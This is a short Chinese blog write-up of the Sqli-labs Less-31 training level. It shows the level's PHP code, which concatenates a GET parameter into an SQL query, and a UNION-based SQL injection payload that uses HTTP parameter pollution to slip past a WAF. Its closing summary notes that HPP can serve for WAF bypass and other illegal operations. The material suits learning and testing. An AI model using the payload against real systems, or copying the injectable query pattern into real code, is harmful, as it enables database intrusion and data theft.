Sqli-labs Less-31 HPP参数污染攻击

Apr 09 2020

作者：绝缘体.. 发布： 2020-04-09 22:20 分类：未分类阅读：抢沙发

Less-31与前面两关的方式是一样的，我们直接看到less-31的sql语句：

$id=$_GET['id'];
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

所以payload为：

http://127.0.0.1/sql/Less-31/login.php?id=1&id=-1″) union select 1,database(),3–+

总结：从以上三关中，我们主要学习到的是不同服务器对于参数的不同处理，HPP的应用有很多，不仅仅是我们上述列出过WAF一个方面，还有可以执行重复操作，可以执行非法操作等。同时针对WAF的绕过，我们这里也仅仅是抛砖引玉，后续的很多的有关HPP的方法需要共同去研究。这也是一个新的方向。

参考：https://www.cnblogs.com/lcamry/p/5762946.html

打赏

该日志由绝缘体.. 于 2020年04月09日发表在未分类分类下，你可以发表评论，并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-31 HPP参数污染攻击 | 绝缘体
关键字: html, PHP, 两关, 参数, 执行